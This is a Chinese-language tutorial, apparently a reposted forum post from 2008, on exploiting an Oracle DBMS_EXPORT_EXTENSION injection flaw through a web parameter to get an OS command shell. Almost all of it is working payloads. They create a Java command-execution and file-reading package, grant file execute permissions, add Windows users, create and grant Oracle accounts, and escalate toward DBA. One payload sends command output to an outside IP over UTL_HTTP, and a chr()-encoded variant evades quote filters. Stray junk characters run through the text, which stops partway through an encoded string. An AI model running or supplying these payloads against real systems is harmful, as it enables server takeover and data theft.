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介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。
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以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成3 s3 I: m( ]6 L5 s `
) G$ C2 Q) ?! F# j) p/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)# n/ c. f7 T7 h: a
& g0 _/ a; T/ x8 W! X7 S的形式即可。(用" 'a'|| "是为了让语句返回true值)8 ?& P2 t! F2 Q2 | Y+ h- F
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语句有点长,可能要用post提交。7 {, ^- ?& s9 Z/ `3 R6 { e
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以下是各个步骤:+ B+ J9 `1 f% E3 U' y( @
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1.创建包% A. K- p; g- D
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:0 Z& M1 k+ N5 N) Z
/ P% k4 Z6 v7 u' S* J/xxx.jsp?id=1 and '1'<>'a'||(. L/ y9 A* g/ s) P# b/ t
; i0 @' A) o8 E3 q1 Qselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
; t5 B! k# [: `8 n) p: ~, t7 O' m6 Mcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(9 n! r" Y6 ^) W) D. f) a/ p
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}; J0 Z- R& @( D+ P
}'''';END;'';END;--','SYS',0,'1',0) from dual
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------------------------
/ X2 W. K( d7 i* s如果url有长度限制,可以把readFile()函数块去掉,即:
: Z6 q6 z; C- j5 h: f/xxx.jsp?id=1 and '1'<>'a'||(
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
# k( o% ^! b! X3 q Ocreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
. G+ N! F) Z8 w" v, l7 {, lnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
; ~% U% j U$ ~' K7 L B}'''';END;'';END;--','SYS',0,'1',0) from dual$ M( H$ c8 _5 W- N- @
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)
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同时把后面步骤 提到的 对readFile()的处理语句去掉。
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1 |5 Q, ^; `. q8 @+ C3 {2.赋Java权限
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- j% J3 u, E- L/ y m1 b$ [/ \! mselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual0 [/ t$ W& y4 r5 |; ]6 P! |8 a7 t
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9 g( ]& ]+ G7 C$ Q3.创建函数
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6 ]( J$ C& A! i- c aselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''$ p0 r& o- o1 ~! u% S$ o$ `" y
create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual7 Q* ^8 m# A" w& l
$ Q% ^3 d- P- y$ J- zselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''6 g3 {3 g) W9 C
create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
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4.赋public执行函数的权限+ |0 g% j9 {, d- W' a
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
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# d4 e7 k$ _7 q8 @1 R8 [$ M6 K& k* k; qselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual, j& V" g# |% \) {/ b* E
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5.测试上面的几步是否成功
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and '1'<>'11'||(! l) E, u( D0 N
select OBJECT_ID from all_objects where object_name ='LINXRUNCMD'! A6 H3 E& { ]9 u+ \( Z. c
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& x0 Y- e: l4 _& D) xand '1'<>(
: J3 l" R& }- Q7 d3 J. ~" k: t5 aselect OBJECT_ID from all_objects where object_name ='LINXREADFILE'
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6.执行命令:3 b; U, v4 d. x3 `5 d8 Q
; Y" L% D- f; l, g, y2 G1 I) V/xxx.jsp?id=1 and '1'<>(
5 D' n( q8 U* R1 J( M( dselect sys.LinxRunCMD('cmd /c net user linx /add') from dual s6 {$ U7 ` z; m" m
)
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9 B. v/ A& T( V, p* {0 ~select sys.LinxReadFile('c:/boot.ini') from dual- s3 m0 E. I( J& \$ \, D! |
)
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注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。
o \4 Z- J% W如果要查看运行结果可以用 union :
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/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual
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% [. b2 A4 `. q+ F b或者UTL_HTTP.request(: D; P/ a2 _2 M3 S4 j
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/xxx.jsp?id=1 and '1'<>(
1 s, `+ V* l( T/ aSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual1 P1 K3 ^% \ a1 R+ a. }- h# Y( h! n9 D
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" D( Q D3 S! D" v6 ?* h/ \& H/xxx.jsp?id=1 and '1'<>(! L# I0 v' J, C
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
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+ M! b$ _- h" a N! S% i1 _3 L! Z9 D' |注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。6 N0 ^0 X7 j% w6 ?( }
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/ p Z5 n2 `* n7 l1 N7 ^; U--------------------
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6.内部变化5 |$ b& n* C' a* U* ]) p/ Q9 ]
通过以下命令可以查看all_objects表达改变:1 n: m) O4 Q6 m. p: ^
select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%' [* c3 P K7 v4 s# P& t
, W, C! ~5 z; z/ S0 L7.删除我们创建的函数" j0 k6 J1 D9 q# A' M- F; b
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''8 b4 y8 E% B! O- K( ]" u& k
drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual; J6 s2 n: D( `; x
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====================================================' ?( E3 m7 u% H; r
全文结束。谨以此文赠与我的朋友。7 Q5 ]. ? X3 k+ R4 Z( O" u
9 o- n& r3 \4 U2 J8 I3 Y# _5 l; tlinx
2 \' y. y5 t- [( f6 ~8 r124829445
0 |2 }" c) q4 }6 O2008.1.122 C3 x( C: ]2 n0 B" E
linyujian@bjfu.edu.cn
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======================================================================% w' S' `/ U }$ n* ^7 b: c7 }8 l
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测试漏洞的另一方法:7 g0 \; E/ l5 T
- ~3 p; V; i* h' w( ?创建oracle帐号:
, o! H) W2 Z/ V: a2 nselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
+ n8 W6 F/ m% n0 FCREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual% |- W* ]( D3 @- K
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即:
( S* O+ c3 w: y* D @( mselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),/ y! J7 A! h' z
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
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确定漏洞存在:% Z+ h# y5 h! K% {
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select user_id from all_users where username='LINXSQL'
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" |" Y* `: Y) `8 q2 ]给linxsql连接权限:
7 O# m( Z! C1 T0 \9 _. W/ H* tselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''4 y! }; B/ X) Z1 X: N, y' b# s4 E
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual7 q- l) m! Y1 L7 m/ p9 o% @
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删除帐号:4 e7 B a! ]* {5 @" ^1 W9 b3 I
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''( x- s' E) a' v. e& \! W6 l+ S
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
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以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:
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3 b' y5 ?( \' I8 X M+ O: L1.jsp?id=1 and '1'<>(. b4 ~! m7 c' v" q# Z
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''8 Z* I/ Q5 h7 B
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual
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% g! L# ]# k0 P" ~' _1.jsp?id=1 and '1'<>(" c9 k- j+ ?7 B6 N9 d T
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual. ^' I- _8 V$ k; X% b2 K
) and ...0 e) D- R0 k0 U' a/ [4 p7 d" L
" ~8 L6 }! j N; k: W. {6 p- v0 C0 O4 n1.jsp?id=1 and '1'<>( J0 }* Q6 o: h
SELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL3 L0 j0 W: ~6 A( q2 O- ]. w
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. h* d$ n& h& A$ U9 X1.jsp?id=1 and '1'<>(% j# V5 b8 v Y4 I5 B, n
SELECT sys.Linx_Query('declare pragma( q' H L) T" t P3 D
autonomous_transaction; begin execute immediate ''
% ^5 d3 G$ [( g! [$ C; Xselect 1 from dual
! V/ X7 ~2 J/ q0 ]''; commit; end;') from dual
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多语句:
! a$ W8 F* W1 d/ V2 qSELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual
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/ g5 K, Z3 a& P5 l+ `1 V2 v; Q/ `创建用户(除非当前用户有system权限,否则无法成功):' W( ]* [& `; s( w
SELECT sys.Linx_Query('declare pragma, m$ `. o' C3 n, a' ~! d
autonomous_transaction; begin execute immediate ''' |# f' f+ }7 r3 N. o/ ?% o
CREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User0 D' _2 p0 [- g+ W& y
''; commit; end;') from dual2 X+ ~# j% z3 {6 z9 r2 i0 T% G
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以下的方法是先建立函数Linx_Query(),再建立 RunCMD2()
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( p9 ?4 z# E% ~: p* v$ w" C3 L1.创建函数* l1 J" ]6 k6 ~ _
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
" i; ^# u4 A0 R9 Jcreate or replace function Linx_Query (p
+ z' W7 N- B( p- @) s! x# ], Cvarchar2) return number authid current_user is begin execute immediate7 M, g0 G9 z0 [* X, q7 {2 k% m
p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual;' A& Z/ T9 p: B5 s
+ I6 ~( W5 b1 U N) r- G如果有权限,以下语句应该允许正常. y: K9 \+ a9 o6 s5 J) a9 r
select sys.linx_query('select 1 from dual') from dual;, H+ J6 F1 J* P$ b) R# E' [0 v2 p
: H5 u }. e7 r: w7 y$ Q5 G0 e不然的话运行:
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3 k; m2 d4 W& ]" u& V. \select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
. ]+ J0 O8 k) hgrant dba to 当前的User'''';END;'';END;--','SYS',0,'1',0) from dual- y0 b4 B( W- R7 M; A5 s4 z+ ]
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8 J- L' Z4 R# O- i9 D8 f. X% q: k2.创建包
2 A/ R. v0 i7 f$ Q3 I3 T2 ^SELECT sys.Linx_Query('declare pragma: R$ |; F" I/ @4 `
autonomous_transaction; begin execute immediate ''
7 `2 n y1 W- ~. ucreate or replace and compile java source named "LinxUtil2" as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(
( C: w/ @, |! A* ~new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual6 g6 ?+ _6 y- ~. c2 B
2 x, M( Y/ ?: s# r+ A8 h) X- S
3.创建函数
5 o, \7 ?6 Z4 ~) zSELECT sys.Linx_Query('declare pragma
, ?6 b. t& e" X8 k5 lautonomous_transaction; begin execute immediate ''1 `/ p/ ~% @- }- A( \ p. y
create or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual! b( Y) }2 x0 b0 I1 ~4 E% a
0 Q I& t, J2 u: h* q
4.给权限: a8 R0 x7 L: v2 d, d c
给用户SYSTEM执行权限:
3 ]- ^1 g# @* O" w8 ~% v0 m# ~8 t, w( J/ u
SELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual
& I9 Z8 T" z* r/ m" {/ J. h8 j/ P' l5 w* j6 W7 P$ Y' `% }& u4 y
/ Q- T% _: c/ c, P( }; x
5 K; B; o2 [. h( m5.执行函数
4 a7 I: P( y7 \8 `/ I* W" i0 wselect RunCMD2('cmd /c dir') from dual9 g$ g$ l9 Q1 \% f' p7 h/ o7 H
& O' U6 c4 T$ L3 T( F! n# s
4 ~# J4 J6 r) \: L" o) J W( O: S8 r: g" ]( N( B0 |# e# [4 }
6 G. W& U; Q( |* t4 @
. I) M' _8 z: D9 z6 y/ _
==================% Y8 \0 d& v1 b4 J9 Y: [; w; O9 A5 E
================================
0 m# |2 a/ O1 V
/ w3 a" |7 y: \) i以下是无 " ' " 版:: q) Z: r J+ Q A) a
- r$ q& ^# m% N, ^以下是各个步骤:
5 c- N4 m( t- V
" K! a- H1 F, y$ \& v1.创建包
( Y, e0 a) Q( L通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:$ Q9 R# w1 i H' v3 r% D% u: u; n
因为建立了两个函数,转换为ascii后,语句更长了,注意提交时不要把换行去掉,否则执行不成功的:1 j# e) @ e3 ^ u7 W# H8 J% ~
R# \; y: ~( { f O/ e- B
/xxx.jsp?id=1 and chr(49)<>chr(50)||(- W# N1 I+ [# H( B; U3 F# O
/ M& \4 N: Q% N, E! y
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
% B A/ Z5 m6 f. Rchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
& x5 b# ~" U9 s& L! ~) Q' R$ Jchr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||; u$ K! r, Q' ?# }
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||8 } ?% w/ Q7 C, N8 [4 c" c
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(32)||chr(32)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||8 `4 f2 x1 s+ h9 m& W2 \! Q* c
chr(108)||chr(97)||chr(99)||chr(101)||chr(32)||chr(97)||chr(110)||chr(100)||chr(32)||chr(99)||chr(111)||chr(109)||chr(112)||chr(105)||chr(108)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(115)||chr(111)||chr(117)||chr(114)||chr(99)||chr(101)||chr(32)||chr(110)||' E3 d: c! A0 @8 H& {
chr(97)||chr(109)||chr(101)||chr(100)||chr(32)||chr(34)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(34)||chr(32)||chr(97)||chr(115)||chr(32)||chr(105)||chr(109)||chr(112)||chr(111)||chr(114)||chr(116)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||+ m3 ]! X W9 c" N5 a
chr(46)||chr(105)||chr(111)||chr(46)||chr(42)||chr(59)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(99)||chr(108)||chr(97)||chr(115)||chr(115)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(32)||chr(101)||
& |. ?: r* I9 ^4 Y. i* _chr(120)||chr(116)||chr(101)||chr(110)||chr(100)||chr(115)||chr(32)||chr(79)||chr(98)||chr(106)||chr(101)||chr(99)||chr(116)||chr(32)||chr(123)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||
$ S. z: F+ k& x# e7 Y7 o! Ochr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(32)||chr(123)||chr(116)||chr(114)||chr(121)||
/ R7 V% y- a! x! ]0 ^, a' Jchr(123)||chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||% g0 m( @; q2 m& q w
chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||9 a: \6 C: |$ o
chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(32)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(46)||chr(103)||chr(101)||chr(116)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(40)||chr(41)||chr(46)||chr(101)||
2 q& M3 }6 R8 K1 a( zchr(120)||chr(101)||chr(99)||chr(40)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(46)||chr(103)||chr(101)||chr(116)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||chr(40)||chr(41)||chr(32)||chr(41)||chr(32)||chr(41)||
, e" K: b2 V9 n; d _chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||
m% w3 r$ ]0 k. v# Q! O$ Nchr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||
2 n5 o4 J" {5 p3 `chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||
- t x) o) J/ z2 Schr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||( [, b/ C& p b' a' `( |
chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||9 a2 E! }4 S! s/ W8 H
chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(101)||* U L5 b$ q9 ~5 P
chr(97)||chr(100)||chr(70)||chr(105)||chr(108)||chr(101)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(102)||chr(105)||chr(108)||chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(123)||chr(116)||chr(114)||chr(121)||chr(123)||chr(66)||chr(117)||
+ u) C$ X. _: d7 x: S4 Echr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||chr(66)||chr(117)||chr(102)||! t9 F) r4 O' {
chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(70)||chr(105)||chr(108)||chr(101)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(102)||chr(105)||chr(108)||7 k9 o9 Y9 O4 y2 f
chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(41)||chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||6 `/ E/ V$ `$ j* ?8 J
chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||
